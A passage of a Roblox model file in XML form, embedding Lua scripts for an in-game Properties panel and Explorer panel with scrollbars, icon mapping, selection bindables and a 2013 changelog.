&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if x &lt; ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if x &gt; ScrollThumbFrame.AbsolutePosition.x then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end)
&#9;&#9;else
&#9;&#9;&#9;ScrollBarFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollUpFrame)
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;&#9;if y &gt; ScrollThumbFrame.AbsolutePosition.y then
&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if y &lt; ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if y &gt; ScrollThumbFrame.AbsolutePosition.y then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end)
&#9;&#9;end

&#9;&#9;if horizontal then
&#9;&#9;&#9;ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x
&#9;&#9;&#9;&#9;local drag_con
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;drag_con = MouseDrag.MouseMoved:connect(function(x,y)
&#9;&#9;&#9;&#9;&#9;local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x
&#9;&#9;&#9;&#9;&#9;local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x
&#9;&#9;&#9;&#9;&#9;local bar_abs_one = bar_abs_pos + bar_drag
&#9;&#9;&#9;&#9;&#9;x = x - mouse_offset
&#9;&#9;&#9;&#9;&#9;x = x &lt; bar_abs_pos and bar_abs_pos or x &gt; bar_abs_one and bar_abs_one or x
&#9;&#9;&#9;&#9;&#9;x = x - bar_abs_pos
&#9;&#9;&#9;&#9;&#9;Class:SetScrollPercent(x/(bar_drag))
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollThumbFrame)
&#9;&#9;&#9;&#9;&#9;drag_con:disconnect(); drag_con = nil
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;end)
&#9;&#9;else
&#9;&#9;&#9;ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y
&#9;&#9;&#9;&#9;local drag_con
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;drag_con = MouseDrag.MouseMoved:connect(function(x,y)
&#9;&#9;&#9;&#9;&#9;local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y
&#9;&#9;&#9;&#9;&#9;local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y
&#9;&#9;&#9;&#9;&#9;local bar_abs_one = bar_abs_pos + bar_drag
&#9;&#9;&#9;&#9;&#9;y = y - mouse_offset
&#9;&#9;&#9;&#9;&#9;y = y &lt; bar_abs_pos and bar_abs_pos or y &gt; bar_abs_one and bar_abs_one or y
&#9;&#9;&#9;&#9;&#9;y = y - bar_abs_pos
&#9;&#9;&#9;&#9;&#9;Class:SetScrollPercent(y/(bar_drag))
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollThumbFrame)
&#9;&#9;&#9;&#9;&#9;drag_con:disconnect(); drag_con = nil
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;end)
&#9;&#9;end

&#9;&#9;function Class:Destroy()
&#9;&#9;&#9;ScrollFrame:Destroy()
&#9;&#9;&#9;MouseDrag:Destroy()
&#9;&#9;&#9;for k in pairs(Class) do
&#9;&#9;&#9;&#9;Class[k] = nil
&#9;&#9;&#9;end
&#9;&#9;&#9;setmetatable(Class,nil)
&#9;&#9;end

&#9;&#9;Update()

&#9;&#9;return Class
&#9;end
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------

local MainFrame = Instance.new(&quot;Frame&quot;)
MainFrame.Name = &quot;MainFrame&quot;
MainFrame.Size = UDim2.new(1, -1 * ScrollBarWidth, 1, 0)
MainFrame.Position = UDim2.new(0, 0, 0, 0)
MainFrame.BackgroundTransparency = 1
MainFrame.ClipsDescendants = true
MainFrame.Parent = PropertiesFrame

ContentFrame = Instance.new(&quot;Frame&quot;)
ContentFrame.Name = &quot;ContentFrame&quot;
ContentFrame.Size = UDim2.new(1, 0, 0, 0)
ContentFrame.BackgroundTransparency = 1
ContentFrame.Parent = MainFrame

scrollBar = ScrollBar(false)
scrollBar.PageIncrement = 1
Create(scrollBar.GUI,{
&#9;Position = UDim2.new(1,-ScrollBarWidth,0,0);
&#9;Size = UDim2.new(0,ScrollBarWidth,1,0);
&#9;Parent = PropertiesFrame;
})

scrollBarH = ScrollBar(true)
scrollBarH.PageIncrement = ScrollBarWidth
Create(scrollBarH.GUI,{
&#9;Position = UDim2.new(0,0,1,-ScrollBarWidth);
&#9;Size = UDim2.new(1,-ScrollBarWidth,0,ScrollBarWidth);
&#9;Visible = false;
&#9;Parent = PropertiesFrame;
})

do
&#9;local listEntries = {}
&#9;local nameConnLookup = {}
&#9;
&#9;function scrollBar.UpdateCallback(self)
&#9;&#9;scrollBar.TotalSpace = ContentFrame.AbsoluteSize.Y
&#9;&#9;scrollBar.VisibleSpace = MainFrame.AbsoluteSize.Y
&#9;&#9;scrollbaotalSpaceTr = ContentFrame.AbsoluteSize.Y
&#9;&#9;ContentFrame.Position = UDim2.new(ContentFrame.Position.X.Scale,ContentFrame.Position.X.Offset,0,-1*scrollBar.ScrollIndex)
&#9;end

&#9;function scrollBarH.UpdateCallback(self)
&#9;&#9;
&#9;end

&#9;MainFrame.Changed:connect(function(p)
&#9;&#9;if p == &apos;AbsoluteSize&apos; then
&#9;&#9;&#9;scrollBarH.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.x)
&#9;&#9;&#9;scrollBarH:Update()
&#9;&#9;&#9;scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
&#9;&#9;&#9;scrollBar:Update()
&#9;&#9;end
&#9;end)

&#9;local wheelAmount = Row.Height
&#9;PropertiesFrame.MouseWheelForward:connect(function()
&#9;&#9;if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
&#9;&#9;else
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
&#9;&#9;end
&#9;end)
&#9;PropertiesFrame.MouseWheelBackward:connect(function()
&#9;&#9;if scrollBar.VisibleSpace - 1 &gt; wheelAmount then
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
&#9;&#9;else
&#9;&#9;&#9;scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
&#9;&#9;end
&#9;end)
end

scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
scrollBar:Update()

showProperties(GetSelection())
HidePlayerList()

bindSelectionChanged.Event:connect(function()
&#9;showProperties(GetSelection())
end)</ProtectedString>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX60">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4293980400</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4288453788</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">Header</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>-18</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>1</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>17</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="TextLabel" referent="RBX61">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4289374636</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<token name="Font">0</token>
								<token name="FontSize">0</token>
								<string name="Name">TextLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>4</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>1</XS>
									<XO>-4</XO>
									<YS>1</YS>
									<YO>0</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<string name="Text">Properties</string>
								<Color3 name="TextColor3">4278190080</Color3>
								<bool name="TextScaled">false</bool>
								<Color3 name="TextStrokeColor3">4278190080</Color3>
								<float name="TextStrokeTransparency">1</float>
								<float name="TextTransparency">0</float>
								<bool name="TextWrapped">false</bool>
								<token name="TextXAlignment">0</token>
								<token name="TextYAlignment">1</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX62">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4294967295</Color3>
						<float name="BackgroundTransparency">0.100000001</float>
						<Color3 name="BorderColor3">4291217094</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">ExplorerPanel</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-310</XO>
							<YS>0</YS>
							<YO>0</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>300</XO>
							<YS>0.5</YS>
							<YO>0</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="LocalScript" referent="RBX63">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">LocalScript</string>
							<ProtectedString name="Source">-- initial states
local Option = {
&#9;-- can modify objects
&#9;Modifiable = false;
&#9;-- can select objects
&#9;Selectable = true;
}

--if game.Players.LocalPlayer.Name == &quot;Merely&quot; or game.Players.LocalPlayer.Name == &quot;Player1&quot; then
&#9;Option.Modifiable = true
--end

-- general size of GUI objects, in pixels
local GUI_SIZE = 16
-- padding between items within each entry
local ENTRY_PADDING = 1
-- padding between each entry
local ENTRY_MARGIN = 1

--[[

# Explorer Panel

A GUI panel that displays the game hierarchy.


## Selection Bindables

- `Function GetSelection ( )`

&#9;Returns an array of objects representing the objects currently
&#9;selected in the panel.

- `Function SetSelection ( Objects selection )`

&#9;Sets the objects that are selected in the panel. `selection` is an array
&#9;of objects.

- `Event SelectionChanged ( )`

&#9;Fired after the selection changes.


## Option Bindables

- `Function GetOption ( string optionName )`

&#9;If `optionName` is given, returns the value of that option. Otherwise,
&#9;returns a table of options and their current values.

- `Function SetOption ( string optionName, bool value )`

&#9;Sets `optionName` to `value`.

&#9;Options:

&#9;- Modifiable

&#9;&#9;Whether objects can be modified by the panel.

&#9;&#9;Note that modifying objects depends on being able to select them. If
&#9;&#9;Selectable is false, then Actions will not be available. Reparenting
&#9;&#9;is still possible, but only for the dragged object.

&#9;- Selectable

&#9;&#9;Whether objects can be selected.

&#9;&#9;If Modifiable is false, then left-clicking will perform a drag
&#9;&#9;selection.

## Updates

- 2013-09-18
&#9;- Fixed explorer icons to match studio explorer.

- 2013-09-14
&#9;- Added GetOption and SetOption bindables.
&#9;&#9;- Option: Modifiable; sets whether objects can be modified by the panel.
&#9;&#9;- Option: Selectable; sets whether objects can be selected.
&#9;- Slight modification to left-click selection behavior.
&#9;- Improved layout and scaling.

- 2013-09-13
&#9;- Added drag to reparent objects.
&#9;&#9;- Left-click to select/deselect object.
&#9;&#9;- Left-click and drag unselected object to reparent single object.
&#9;&#9;- Left-click and drag selected object to move reparent entire selection.
&#9;&#9;- Right-click while dragging to cancel.

- 2013-09-11
&#9;- Added explorer panel header with actions.
&#9;&#9;- Added Cut action.
&#9;&#9;- Added Copy action.
&#9;&#9;- Added Paste action.
&#9;&#9;- Added Delete action.
&#9;- Added drag selection.
&#9;&#9;- Left-click: Add to selection on drag.
&#9;&#9;- Right-click: Add to or remove from selection on drag.
&#9;- Ensured SelectionChanged fires only when the selection actually changes.
&#9;- Added documentation and change log.
&#9;- Fixed thread issue.

- 2013-09-09
&#9;- Added basic multi-selection.
&#9;&#9;- Left-click to set selection.
&#9;&#9;- Right-click to add to or remove from selection.
&#9;- Removed &quot;Selection&quot; ObjectValue.
&#9;&#9;- Added GetSelection BindableFunction.
&#9;&#9;- Added SetSelection BindableFunction.
&#9;&#9;- Added SelectionChanged BindableEvent.
&#9;- Changed font to SourceSans.

- 2013-08-31
&#9;- Improved GUI sizing based off of `GUI_SIZE` constant.
&#9;- Automatic font size detection.

- 2013-08-27
&#9;- Initial explorer panel.


## Todo

- Sorting
&#9;- by ExplorerOrder
&#9;- by children
&#9;- by name
- Drag objects to reparent

]]

local ENTRY_SIZE = GUI_SIZE + ENTRY_PADDING*2
local ENTRY_BOUND = ENTRY_SIZE + ENTRY_MARGIN
local HEADER_SIZE = ENTRY_SIZE



local FONT_NAME = &quot;SourceSans&quot;

local ok, f = pcall(function()
&#9;return Enum.Font[FONT_NAME] 
end)

local FONT = ok and f or Enum.Font.Legacy


local FONT_SIZE do
&#9;local size = {8,9,10,11,12,14,18,24,36,48}
&#9;local s
&#9;local n = math.huge
&#9;for i = 1,#size do
&#9;&#9;if size[i] &lt;= GUI_SIZE then
&#9;&#9;&#9;FONT_SIZE = i - 1
&#9;&#9;end
&#9;end
end

local GuiColor = {
&#9;Background      = Color3.new(233/255, 233/255, 233/255);
&#9;Border          = Color3.new(149/255, 149/255, 149/255);
&#9;Selected        = Color3.new( 96/255, 140/255, 211/255);
&#9;BorderSelected  = Color3.new( 86/255, 125/255, 188/255);
&#9;Text            = Color3.new(  0/255,   0/255,   0/255);
&#9;TextDisabled    = Color3.new(128/255, 128/255, 128/255);
&#9;TextSelected    = Color3.new(255/255, 255/255, 255/255);
&#9;Button          = Color3.new(221/255, 221/255, 221/255);
&#9;ButtonBorder    = Color3.new(149/255, 149/255, 149/255);
&#9;ButtonSelected  = Color3.new(255/255,   0/255,   0/255);
&#9;Field           = Color3.new(255/255, 255/255, 255/255);
&#9;FieldBorder     = Color3.new(191/255, 191/255, 191/255);
&#9;TitleBackground = Color3.new(178/255, 178/255, 178/255);
}

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Icon map constants

local MAP_ID = 129293660

-- Indices based on implementation of Icon function.
local ACTION_CUT         = 160
local ACTION_COPY        = 161
local ACTION_PASTE       = 162
local ACTION_DELETE      = 163
local ACTION_SORT        = 164
local ACTION_CUT_OVER    = 174
local ACTION_COPY_OVER   = 175
local ACTION_PASTE_OVER  = 176
local ACTION_DELETE_OVER = 177
local ACTION_SORT_OVER   = 178

local NODE_COLLAPSED      = 165
local NODE_EXPANDED       = 166
local NODE_COLLAPSED_OVER = 179
local NODE_EXPANDED_OVER  = 180

local ExplorerIndex = {
&#9;[&quot;Accoutrement&quot;] = 32;
&#9;[&quot;Animation&quot;] = 60;
&#9;[&quot;AnimationTrack&quot;] = 60;
&#9;[&quot;ArcHandles&quot;] = 56;
&#9;[&quot;Backpack&quot;] = 20;
&#9;[&quot;BillboardGui&quot;] = 64;
&#9;[&quot;BindableEvent&quot;] = 67;
&#9;[&quot;BindableFunction&quot;] = 66;
&#9;[&quot;BlockMesh&quot;] = 8;
&#9;[&quot;BodyAngularVelocity&quot;] = 14;
&#9;[&quot;BodyForce&quot;] = 14;
&#9;[&quot;BodyGyro&quot;] = 14;
&#9;[&quot;BodyPosition&quot;] = 14;
&#9;[&quot;BodyThrust&quot;] = 14;
&#9;[&quot;BodyVelocity&quot;] = 14;
&#9;[&quot;BoolValue&quot;] = 4;
&#9;[&quot;BrickColorValue&quot;] = 4;
&#9;[&quot;Camera&quot;] = 5;
&#9;[&quot;CFrameValue&quot;] = 4;
&#9;[&quot;CharacterMesh&quot;] = 60;
&#9;[&quot;ClickDetector&quot;] = 41;
&#9;[&quot;Color3Value&quot;] = 4;
&#9;[&quot;Configuration&quot;] = 58;
&#9;[&quot;CoreGui&quot;] = 46;
&#9;[&quot;CornerWedgePart&quot;] = 1;
&#9;[&quot;CustomEvent&quot;] = 4;
&#9;[&quot;CustomEventReceiver&quot;] = 4;
&#9;[&quot;CylinderMesh&quot;] = 8;
&#9;[&quot;Debris&quot;] = 30;
&#9;[&quot;Decal&quot;] = 7;
&#9;[&quot;Dialog&quot;] = 62;
&#9;[&quot;DialogChoice&quot;] = 63;
&#9;[&quot;DoubleConstrainedValue&quot;] = 4;
&#9;[&quot;Explosion&quot;] = 36;
&#9;[&quot;Fire&quot;] = 61;
&#9;[&quot;Flag&quot;] = 38;
&#9;[&quot;FlagStand&quot;] = 39;
&#9;[&quot;FloorWire&quot;] = 4;
&#9;[&quot;ForceField&quot;] = 37;
&#9;[&quot;Frame&quot;] = 48;
&#9;[&quot;GuiButton&quot;] = 52;
&#9;[&quot;GuiMain&quot;] = 47;
&#9;[&quot;Handles&quot;] = 53;
&#9;[&quot;Hat&quot;] = 45;
&#9;[&quot;Hint&quot;] = 33;
&#9;[&quot;HopperBin&quot;] = 22;
&#9;[&quot;Humanoid&quot;] = 9;
&#9;[&quot;ImageButton&quot;] = 52;
&#9;[&quot;ImageLabel&quot;] = 49;
&#9;[&quot;IntConstrainedValue&quot;] = 4;
&#9;[&quot;IntValue&quot;] = 4;
&#9;[&quot;JointInstance&quot;] = 34;
&#9;[&quot;Keyframe&quot;] = 60;
&#9;[&quot;Lighting&quot;] = 13;
&#9;[&quot;LocalScript&quot;] = 18;
&#9;[&quot;MarketplaceService&quot;] = 46;
&#9;[&quot;Message&quot;] = 33;
&#9;[&quot;Model&quot;] = 2;
&#9;[&quot;NetworkClient&quot;] = 16;
&#9;[&quot;NetworkReplicator&quot;] = 29;
&#9;[&quot;NetworkServer&quot;] = 15;
&#9;[&quot;NumberValue&quot;] = 4;
&#9;[&quot;ObjectValue&quot;] = 4;
&#9;[&quot;Pants&quot;] = 44;
&#9;[&quot;ParallelRampPart&quot;] = 1;
&#9;[&quot;Part&quot;] = 1;
&#9;[&quot;PartPairLasso&quot;] = 57;
&#9;[&quot;Platform&quot;] = 35;
&#9;[&quot;Player&quot;] = 12;
&#9;[&quot;PlayerGui&quot;] = 46;
&#9;[&quot;Players&quot;] = 21;
&#9;[&quot;PointLight&quot;] = 13;
&#9;[&quot;Pose&quot;] = 60;
&#9;[&quot;PrismPart&quot;] = 1;
&#9;[&quot;PyramidPart&quot;] = 1;
&#9;[&quot;RayValue&quot;] = 4;
&#9;[&quot;ReplicatedStorage&quot;] = 0;
&#9;[&quot;RightAngleRampPart&quot;] = 1;
&#9;[&quot;RocketPropulsion&quot;] = 14;
&#9;[&quot;ScreenGui&quot;] = 47;
&#9;[&quot;Script&quot;] = 6;
&#9;[&quot;Seat&quot;] = 35;
&#9;[&quot;SelectionBox&quot;] = 54;
&#9;[&quot;SelectionPartLasso&quot;] = 57;
&#9;[&quot;SelectionPointLasso&quot;] = 57;
&#9;[&quot;ServerScriptService&quot;] = 0;
&#9;[&quot;ServerStorage&quot;] = 0;
&#9;[&quot;Shirt&quot;] = 43;
&#9;[&quot;ShirtGraphic&quot;] = 40;
&#9;[&quot;SkateboardPlatform&quot;] = 35;
&#9;[&quot;Sky&quot;] = 28;
&#9;[&quot;Smoke&quot;] = 59;
&#9;[&quot;Sound&quot;] = 11;
&#9;[&quot;SoundService&quot;] = 31;
&#9;[&quot;Sparkles&quot;] = 42;
&#9;[&quot;SpawnLocation&quot;] = 25;
&#9;[&quot;SpecialMesh&quot;] = 8;
&#9;[&quot;SpotLight&quot;] = 13;
&#9;[&quot;StarterGear&quot;] = 20;
&#9;[&quot;StarterGui&quot;] = 46;
&#9;[&quot;StarterPack&quot;] = 20;
&#9;[&quot;Status&quot;] = 2;
&#9;[&quot;StringValue&quot;] = 4;
&#9;[&quot;SurfaceSelection&quot;] = 55;
&#9;[&quot;Team&quot;] = 24;
&#9;[&quot;Teams&quot;] = 23;
&#9;[&quot;Terrain&quot;] = 65;
&#9;[&quot;TestService&quot;] = 68;
&#9;[&quot;TextBox&quot;] = 51;
&#9;[&quot;TextButton&quot;] = 51;
&#9;[&quot;TextLabel&quot;] = 50;
&#9;[&quot;Texture&quot;] = 10;
&#9;[&quot;TextureTrail&quot;] = 4;
&#9;[&quot;Tool&quot;] = 17;
&#9;[&quot;TouchTransmitter&quot;] = 37;
&#9;[&quot;TrussPart&quot;] = 1;
&#9;[&quot;Vector3Value&quot;] = 4;
&#9;[&quot;VehicleSeat&quot;] = 35;
&#9;[&quot;WedgePart&quot;] = 1;
&#9;[&quot;Weld&quot;] = 34;
&#9;[&quot;Workspace&quot;] = 19;
}

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------

function Create(ty,data)
&#9;local obj
&#9;if type(ty) == &apos;string&apos; then
&#9;&#9;obj = Instance.new(ty)
&#9;else
&#9;&#9;obj = ty
&#9;end
&#9;for k, v in pairs(data) do
&#9;&#9;if type(k) == &apos;number&apos; then
&#9;&#9;&#9;v.Parent = obj
&#9;&#9;else
&#9;&#9;&#9;obj[k] = v
&#9;&#9;end
&#9;end
&#9;return obj
end

-- Connects a function to an event such that it fires asynchronously
function Connect(event,func)
&#9;return event:connect(function(...)
&#9;&#9;local a = {...}
&#9;&#9;Spawn(function() func(unpack(a)) end)
&#9;end)
end

-- returns the ascendant ScreenGui of an object
function GetScreen(screen)
&#9;if screen == nil then return nil end
&#9;while not screen:IsA(&quot;ScreenGui&quot;) do
&#9;&#9;screen = screen.Parent
&#9;&#9;if screen == nil then return nil end
&#9;end
&#9;return screen
end

do
&#9;local ZIndexLock = {}
&#9;-- Sets the ZIndex of an object and its descendants. Objects are locked so
&#9;-- that SetZIndexOnChanged doesn&apos;t spawn multiple threads that set the
&#9;-- ZIndex of the same object.
&#9;function SetZIndex(object,z)
&#9;&#9;if not ZIndexLock[object] then
&#9;&#9;&#9;ZIndexLock[object] = true
&#9;&#9;&#9;if object:IsA&apos;GuiObject&apos; then
&#9;&#9;&#9;&#9;object.ZIndex = z
&#9;&#9;&#9;end
&#9;&#9;&#9;local children = object:GetChildren()
&#9;&#9;&#9;for i = 1,#children do
&#9;&#9;&#9;&#9;SetZIndex(children[i],z)
&#9;&#9;&#9;end
&#9;&#9;&#9;ZIndexLock[object] = nil
&#9;&#9;end
&#9;end

&#9;function SetZIndexOnChanged(object)
&#9;&#9;return object.Changed:connect(function(p)
&#9;&#9;&#9;if p == &quot;ZIndex&quot; then
&#9;&#9;&#9;&#9;SetZIndex(object,object.ZIndex)
&#9;&#9;&#9;end
&#9;&#9;end)
&#9;end
end

---- IconMap ----
-- Image size: 256px x 256px
-- Icon size: 16px x 16px
-- Padding between each icon: 2px
-- Padding around image edge: 1px
-- Total icons: 14 x 14 (196)
local Icon do
&#9;local iconMap = &apos;http://www.roblox.com/asset/?id=&apos; .. MAP_ID
&#9;Game:GetService(&apos;ContentProvider&apos;):Preload(iconMap)
&#9;local iconDehash do
&#9;&#9;-- 14 x 14, 0-based input, 0-based output
&#9;&#9;local f=math.floor
&#9;&#9;function iconDehash(h)
&#9;&#9;&#9;return f(h/14%14),f(h%14)
&#9;&#9;end
&#9;end

&#9;function Icon(IconFrame,index)
&#9;&#9;local row,col = iconDehash(index)
&#9;&#9;local mapSize = Vector2.new(256,256)
&#9;&#9;local pad,border = 2,1
&#9;&#9;local iconSize = 16

&#9;&#9;local class = &apos;Frame&apos;
&#9;&#9;if type(IconFrame) == &apos;string&apos; then
&#9;&#9;&#9;class = IconFrame
&#9;&#9;&#9;IconFrame = nil
&#9;&#9;end

&#9;&#9;if not IconFrame then
&#9;&#9;&#9;IconFrame = Create(class,{
&#9;&#9;&#9;&#9;Name = &quot;Icon&quot;;
&#9;&#9;&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;&#9;&#9;ClipsDescendants = true;
&#9;&#9;&#9;&#9;Create(&apos;ImageLabel&apos;,{
&#9;&#9;&#9;&#9;&#9;Name = &quot;IconMap&quot;;
&#9;&#9;&#9;&#9;&#9;Active = false;
&#9;&#9;&#9;&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;&#9;&#9;&#9;Image = iconMap;
&#9;&#9;&#9;&#9;&#9;Size = UDim2.new(mapSize.x/iconSize,0,mapSize.y/iconSize,0);
&#9;&#9;&#9;&#9;});
&#9;&#9;&#9;})
&#9;&#9;end

&#9;&#9;IconFrame.IconMap.Position = UDim2.new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0)
&#9;&#9;return IconFrame
&#9;end
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- ScrollBar
do
&#9;-- AutoButtonColor doesn&apos;t always reset properly
&#9;local function ResetButtonColor(button)
&#9;&#9;local active = button.Active
&#9;&#9;button.Active = not active
&#9;&#9;button.Active = active
&#9;end

&#9;local function ArrowGraphic(size,dir,scaled,template)
&#9;&#9;local Frame = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name = &quot;Arrow Graphic&quot;;
&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;Size = UDim2.new(0,size,0,size);
&#9;&#9;&#9;Transparency = 1;
&#9;&#9;})
&#9;&#9;if not template then
&#9;&#9;&#9;template = Instance.new(&quot;Frame&quot;)
&#9;&#9;&#9;template.BorderSizePixel = 0
&#9;&#9;end

&#9;&#9;local transform
&#9;&#9;if dir == nil or dir == &apos;Up&apos; then
&#9;&#9;&#9;function transform(p,s) return p,s end
&#9;&#9;elseif dir == &apos;Down&apos; then
&#9;&#9;&#9;function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
&#9;&#9;elseif dir == &apos;Left&apos; then
&#9;&#9;&#9;function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
